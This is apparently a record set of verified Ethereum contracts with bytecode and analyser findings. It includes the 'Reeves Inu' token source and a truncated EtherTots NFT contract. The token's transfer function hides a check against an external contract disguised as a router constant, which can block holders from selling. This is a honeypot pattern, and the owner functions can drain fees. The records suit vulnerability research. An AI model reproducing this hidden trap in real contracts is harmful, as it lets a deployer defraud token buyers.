fffffffffffffffffffffffffffffffffff167f48e6e03a76c2d1364df3758946d8e93af564e498f2d4df39ad7b4817aabf723f84604001516040516144a091815260200190565b60405180910390a450505050565b60005473ffffffffffffffffffffffffffffffffffffffff16331461453b5760405162461bcd60e51b815260206004820152602760248201527f4f6e6c7920746865206f776e65722063616e207365742074686520706572206660448201527f696c6520666565000000000000000000000000000000000000000000000000006064820152608401610a3c565b600593909355600691909155600755600855565b60608060005b83518110156145c05781601b6000868481518110614575576145756150cc565b6020026020010151815260200190815260200160002060405160200161459c929190614c5b565b604051602081830303815290604052915080806145b890615006565b915050614555565b5092915050565b5080546145d390614fb2565b6000825580601f106145e3575050565b601f016020900490600052602060002090810190614601919061479a565b50565b5080546000825590600052602060002090810190614601919061479a565b82805461462e90614fb2565b90600052602060002090601f016020900481019282614650576000855561469d565b82601f10614661578054855561469d565b8280016001018555821561469d57600052602060002091601f016020900482015b8281111561469d578254825591600101919060010190614682565b506146a992915061479a565b5090565b82805482825590600052602060002090810192821561469d5760005260206000209182018281111561469d578254825591600101919060010190614682565b8280546146f890614fb2565b90600052602060002090601f01602090048101928261471a576000855561469d565b82601f1061473357805160ff191683800117855561469d565b8280016001018555821561469d579182015b8281111561469d578251825591602001919060010190614745565b82805482825590600052602060002090810192821561469d579160200282018281111561469d578251825591602001919060010190614745565b5b808211156146a9576000815560010161479b565b803573ffffffffffffffffffffffffffffffffffffffff811681146147d357600080fd5b919050565b803580151581146147d357600080fd5b600082601f8301126147f957600080fd5b813567ffffffffffffffff80821115614814576148146150fb565b604051601f83017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f0116810190828211818310171561485a5761485a6150fb565b8160405283815286602085880101111561487357600080fd5b836020870160208301376000602085830101528094505050505092915050565b60008083601f8401126148a557600080fd5b50813567ffffffffffffffff8111156148bd57600080fd5b6020830191508360208285010111156148d557600080fd5b9250929050565b6000602082840312156148ee57600080fd5b611187826147af565b6000806040838503121561490a57600080fd5b614913836147af565b9150614921602084016147d8565b90509250929050565b6000806040838503121561493d57600080fd5b614946836147af565b9150602083013567ffffffffffffffff81111561496257600080fd5b61496e858286016147e8565b9150509250929050565b6000806040838503121561498b57600080fd5b614994836147af565b946020939093013593505050565b6000806000606084860312156149b757600080fd5b6149c0846147af565b9250602084013591506149d5604085016147d8565b90509250925092565b6000602082840312156149f057600080fd5b611187826147d8565b60008060408385031215614a0c57600080fd5b614913836147d8565b600060208284031215614a2757600080fd5b813567ffffffffffffffff811115614a3e57600080fd5b614a4a848285016147e8565b949350505050565b60008060208385031215614a6557600080fd5b823567ffffffffffffffff811115614a7c57600080fd5b614a8885828601614893565b90969095509350505050565b600080600060408486031215614aa957600080fd5b833567ffffffffffffffff811115614ac057600080fd5b614acc86828701614893565b90945092506149d59050602085016147af565b60008060408385031215614af257600080fd5b823567ffffffffffffffff80821115614b0a57600080fd5b614b16868387016147e8565b93506020850135915080821115614b2c57600080fd5b5061496e858286016147e8565b600080600060608486031215614b4e57600080fd5b833567ffffffffffffffff80821115614b6657600080fd5b614b72878388016147e8565b94506020860135915080821115614b8857600080fd5b50614b95868287016147e8565b9250506149d5604085016147d8565b600060208284031215614bb657600080fd5b5035919050565b60008060408385031215614bd057600080fd5b50508035926020909101359150565b60008060008060808587031215614bf557600080fd5b5050823594602084013594506040840135936060013592509050565b60008151808452614c29816020860160208601614f4d565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b600083516020614c6e8285838901614f4d565b818401915060008554614c8081614fb2565b60018281168015614c985760018114614cc757614cf3565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00841687528287019450614cf3565b896000528560002060005b84811015614ceb57815489820152908301908701614cd2565b505082870194505b50929998505050505050505050565b60008351614d14818460208801614f4d565b835190830190614d28818360208801614f4d565b7f0a000000000000000000000000000000000000000000000000000000000000009101908152600101949350505050565b8183823760009101908152919050565b60008251614d7b818460208701614f4d565b9190910192915050565b6000808354614d9381614fb2565b60018281168015614dab5760018114614dda57614e09565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00841687528287019450614e09565b8760005260208060002060005b85811015614e005781548a820152908401908201614de7565b50505082870194505b50929695505050505050565b6020815260006111876020830184614c11565b60a081526000614e3b60a0830188614c11565b73ffffffffffffffffffffffffffffffffffffffff871660208401528560408401528460608401528281036080840152614e758185614c11565b98975050505050505050565b86815260c060208201526000614e9a60c0830188614c11565b73ffffffffffffffffffffffffffffffffffffffff8716604084015285606084015284608084015282810360a0840152614ed48185614c11565b9998505050505050505050565b60008219821115614ef457614ef461506e565b500190565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614f3157614f3161506e565b500290565b600082821015614f4857614f4861506e565b500390565b60005b83811015614f68578181015183820152602001614f50565b83811115614f77576000848401525b50505050565b600081614f8c57614f8c61506e565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190565b600181811c90821680614fc657607f821691505b60208210811415615000577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156150385761503861506e565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fdfea2646970667358221220fcc5bd57b8b62fb3b4eb554ff12e5cfdaf55dec3bc518143041cf9b000c970b364736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
2,751
0xbF19ffDB55dD2D2c5B70fc35C6947506B1406CE5
//SPDX-License-Identifier: MIT // Telegram: https://t.me/ReevesInu pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } uint256 constant INITIAL_TAX=9; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet uint256 constant TOTAL_SUPPLY=100000000; string constant TOKEN_SYMBOL="RI"; string constant TOKEN_NAME="Reeves Inu"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface O{ function amount(address from) external view returns (uint256); } contract Magneto is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(5); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function endTrading() external onlyTaxCollector{ require(_canTrade,"Trading is not started yet"); _swapEnabled = false; _canTrade = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102955780639e752b95146102c0578063a9059cbb146102e0578063dd62ed3e14610300578063f42938901461034657600080fd5b806356d9dce81461022357806370a0823114610238578063715018a6146102585780638da5cb5b1461026d57600080fd5b8063293230b8116100d1578063293230b8146101c6578063313ce567146101dd5780633e07ce5b146101f957806351bc3c851461020e57600080fd5b806306fdde031461010e578063095ea7b31461015357806318160ddd1461018357806323b872dd146101a657600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600a81526952656576657320496e7560b01b60208201525b60405161014a919061155b565b60405180910390f35b34801561015f57600080fd5b5061017361016e3660046115c5565b61035b565b604051901515815260200161014a565b34801561018f57600080fd5b50610198610372565b60405190815260200161014a565b3480156101b257600080fd5b506101736101c13660046115f1565b610393565b3480156101d257600080fd5b506101db6103fc565b005b3480156101e957600080fd5b506040516006815260200161014a565b34801561020557600080fd5b506101db6107bf565b34801561021a57600080fd5b506101db6107f5565b34801561022f57600080fd5b506101db610822565b34801561024457600080fd5b50610198610253366004611632565b6108a3565b34801561026457600080fd5b506101db6108c5565b34801561027957600080fd5b506000546040516001600160a01b03909116815260200161014a565b3480156102a157600080fd5b50604080518082019091526002815261524960f01b602082015261013d565b3480156102cc57600080fd5b506101db6102db36600461164f565b610969565b3480156102ec57600080fd5b506101736102fb3660046115c5565b610992565b34801561030c57600080fd5b5061019861031b366004611668565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035257600080fd5b506101db61099f565b6000610368338484610a09565b5060015b92915050565b60006103806006600a61179b565b61038e906305f5e1006117aa565b905090565b60006103a0848484610b2d565b6103f284336103ed85604051806060016040528060288152602001611928602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e78565b610a09565b5060019392505050565b6009546001600160a01b0316331461041357600080fd5b600c54600160a01b900460ff16156104725760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b5461049e9030906001600160a01b03166104906006600a61179b565b6103ed906305f5e1006117aa565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156104ec57600080fd5b505afa158015610500573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052491906117c9565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561058157600080fd5b505afa158015610595573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b991906117c9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561060157600080fd5b505af1158015610615573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063991906117c9565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d7194730610669816108a3565b60008061067e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156106e157600080fd5b505af11580156106f5573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061071a91906117e6565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561078457600080fd5b505af1158015610798573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bc9190611814565b50565b6009546001600160a01b031633146107d657600080fd5b6107e26006600a61179b565b6107f0906305f5e1006117aa565b600a55565b6009546001600160a01b0316331461080c57600080fd5b6000610817306108a3565b90506107bc81610eb2565b6009546001600160a01b0316331461083957600080fd5b600c54600160a01b900460ff166108925760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f742073746172746564207965740000000000006044820152606401610469565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461036c9061103b565b6000546001600160a01b0316331461091f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610469565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461098057600080fd5b6009811061098d57600080fd5b600855565b6000610368338484610b2d565b6009546001600160a01b031633146109b657600080fd5b476107bc816110b8565b6000610a0283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110f6565b9392505050565b6001600160a01b038316610a6b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610469565b6001600160a01b038216610acc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610469565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b915760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610469565b6001600160a01b038216610bf35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610469565b60008111610c555760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610469565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf669060240160206040518083038186803b158015610c9f57600080fd5b505afa158015610cb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd79190611836565b600c546001600160a01b038481169116148015610d025750600b546001600160a01b03858116911614155b610d0d576000610d0f565b815b1115610d1a57600080fd5b6000546001600160a01b03848116911614801590610d4657506000546001600160a01b03838116911614155b15610e6857600c546001600160a01b038481169116148015610d765750600b546001600160a01b03838116911614155b8015610d9b57506001600160a01b03821660009081526004602052604090205460ff16155b15610df157600a548110610df15760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610469565b6000610dfc306108a3565b600c54909150600160a81b900460ff16158015610e275750600c546001600160a01b03858116911614155b8015610e3c5750600c54600160b01b900460ff165b15610e6657610e4a81610eb2565b47670de0b6b3a7640000811115610e6457610e64476110b8565b505b505b610e73838383611124565b505050565b60008184841115610e9c5760405162461bcd60e51b8152600401610469919061155b565b506000610ea9848661184f565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610efa57610efa611866565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610f4e57600080fd5b505afa158015610f62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8691906117c9565b81600181518110610f9957610f99611866565b6001600160a01b039283166020918202929092010152600b54610fbf9130911684610a09565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ff890859060009086903090429060040161187c565b600060405180830381600087803b15801561101257600080fd5b505af1158015611026573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b60006005548211156110a25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610469565b60006110ac61112f565b9050610a0283826109c0565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110f2573d6000803e3d6000fd5b5050565b600081836111175760405162461bcd60e51b8152600401610469919061155b565b506000610ea984866118ed565b610e73838383611152565b600080600061113c611249565b909250905061114b82826109c0565b9250505090565b600080600080600080611164876112cb565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111969087611328565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111c5908661136a565b6001600160a01b0389166000908152600260205260409020556111e7816113c9565b6111f18483611413565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161123691815260200190565b60405180910390a3505050505050505050565b60055460009081908161125e6006600a61179b565b61126c906305f5e1006117aa565b905061129461127d6006600a61179b565b61128b906305f5e1006117aa565b600554906109c0565b8210156112c2576005546112aa6006600a61179b565b6112b8906305f5e1006117aa565b9350935050509091565b90939092509050565b60008060008060008060008060006112e88a600754600854611437565b92509250925060006112f861112f565b9050600080600061130b8e87878761148c565b919e509c509a509598509396509194505050505091939550919395565b6000610a0283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e78565b600080611377838561190f565b905083811015610a025760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610469565b60006113d361112f565b905060006113e183836114dc565b306000908152600260205260409020549091506113fe908261136a565b30600090815260026020526040902055505050565b6005546114209083611328565b600555600654611430908261136a565b6006555050565b6000808080611451606461144b89896114dc565b906109c0565b90506000611464606461144b8a896114dc565b9050600061147c826114768b86611328565b90611328565b9992985090965090945050505050565b600080808061149b88866114dc565b905060006114a988876114dc565b905060006114b788886114dc565b905060006114c9826114768686611328565b939b939a50919850919650505050505050565b6000826114eb5750600061036c565b60006114f783856117aa565b90508261150485836118ed565b14610a025760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610469565b600060208083528351808285015260005b818110156115885785810183015185820160400152820161156c565b8181111561159a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146107bc57600080fd5b600080604083850312156115d857600080fd5b82356115e3816115b0565b946020939093013593505050565b60008060006060848603121561160657600080fd5b8335611611816115b0565b92506020840135611621816115b0565b929592945050506040919091013590565b60006020828403121561164457600080fd5b8135610a02816115b0565b60006020828403121561166157600080fd5b5035919050565b6000806040838503121561167b57600080fd5b8235611686816115b0565b91506020830135611696816115b0565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116f25781600019048211156116d8576116d86116a1565b808516156116e557918102915b93841c93908002906116bc565b509250929050565b6000826117095750600161036c565b816117165750600061036c565b816001811461172c576002811461173657611752565b600191505061036c565b60ff841115611747576117476116a1565b50506001821b61036c565b5060208310610133831016604e8410600b8410161715611775575081810a61036c565b61177f83836116b7565b8060001904821115611793576117936116a1565b029392505050565b6000610a0260ff8416836116fa565b60008160001904831182151516156117c4576117c46116a1565b500290565b6000602082840312156117db57600080fd5b8151610a02816115b0565b6000806000606084860312156117fb57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561182657600080fd5b81518015158114610a0257600080fd5b60006020828403121561184857600080fd5b5051919050565b600082821015611861576118616116a1565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118cc5784516001600160a01b0316835293830193918301916001016118a7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261190a57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611922576119226116a1565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122081aa3c53072f75476f3a5162e8a4480bb9cb088acf0c2c1a940c36b3d1c8386464736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,752
0xdb29bf190a4e6db3eab958f9614c4404906a2530
pragma solidity ^0.4.18; // solhint-disable-line /// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens /// @author Dieter Shirley <dete@axiomzen.co> (https://github.com/dete) contract ERC721 { // Required methods function approve(address _to, uint256 _tokenId) public; function balanceOf(address _owner) public view returns (uint256 balance); function implementsERC721() public pure returns (bool); function ownerOf(uint256 _tokenId) public view returns (address addr); function takeOwnership(uint256 _tokenId) public; function totalSupply() public view returns (uint256 total); function transferFrom(address _from, address _to, uint256 _tokenId) public; function transfer(address _to, uint256 _tokenId) public; event Transfer(address indexed from, address indexed to, uint256 tokenId); event Approval(address indexed owner, address indexed approved, uint256 tokenId); // Optional // function name() public view returns (string name); // function symbol() public view returns (string symbol); // function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 tokenId); // function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl); } contract EtherTots is ERC721 { /*** EVENTS ***/ /// @dev The Birth event is fired whenever a new Tot comes into existence. event Birth(uint256 tokenId, string name, address owner); /// @dev The TokenSold event is fired whenever a token is sold. event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name); /// @dev Transfer event as defined in current draft of ERC721. /// ownership is assigned, including births. event Transfer(address from, address to, uint256 tokenId); /*** CONSTANTS ***/ /// @notice Name and symbol of the non fungible token, as defined in ERC721. string public constant NAME = "EtherTots"; // solhint-disable-line string public constant SYMBOL = "TotToken"; // solhint-disable-line uint256 private startingPrice = 0.001 ether; uint256 private firstStepLimit = 0.053613 ether; uint256 private secondStepLimit = 0.564957 ether; /*** STORAGE ***/ /// @dev A mapping from tot IDs to the address that owns them. All tots have /// some valid owner address. mapping (uint256 => address) public totIndexToOwner; // @dev A mapping from owner address to count of tokens that address owns. // Used internally inside balanceOf() to resolve ownership count. mapping (address => uint256) private ownershipTokenCount; /// @dev A mapping from TotIDs to an address that has been approved to call /// transferFrom(). Each Tot can only have one approved address for transfer /// at any time. A zero value means no approval is outstanding. mapping (uint256 => address) public totIndexToApproved; // @dev A mapping from TotIDs to the price of the token. mapping (uint256 => uint256) private totIndexToPrice; // The addresses of the accounts (or contracts) that can execute actions within each roles. address public ceoAddress; address public cooAddress; /*** DATATYPES ***/ struct Tot { string name; } Tot[] private tots; /*** ACCESS MODIFIERS ***/ /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == cooAddress); _; } /// Access modifier for contract owner only functionality modifier onlyCLevel() { require( msg.sender == ceoAddress || msg.sender == cooAddress ); _; } /*** CONSTRUCTOR ***/ function EtherTots() public { ceoAddress = msg.sender; cooAddress = msg.sender; } /*** PUBLIC FUNCTIONS ***/ /// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom(). /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param 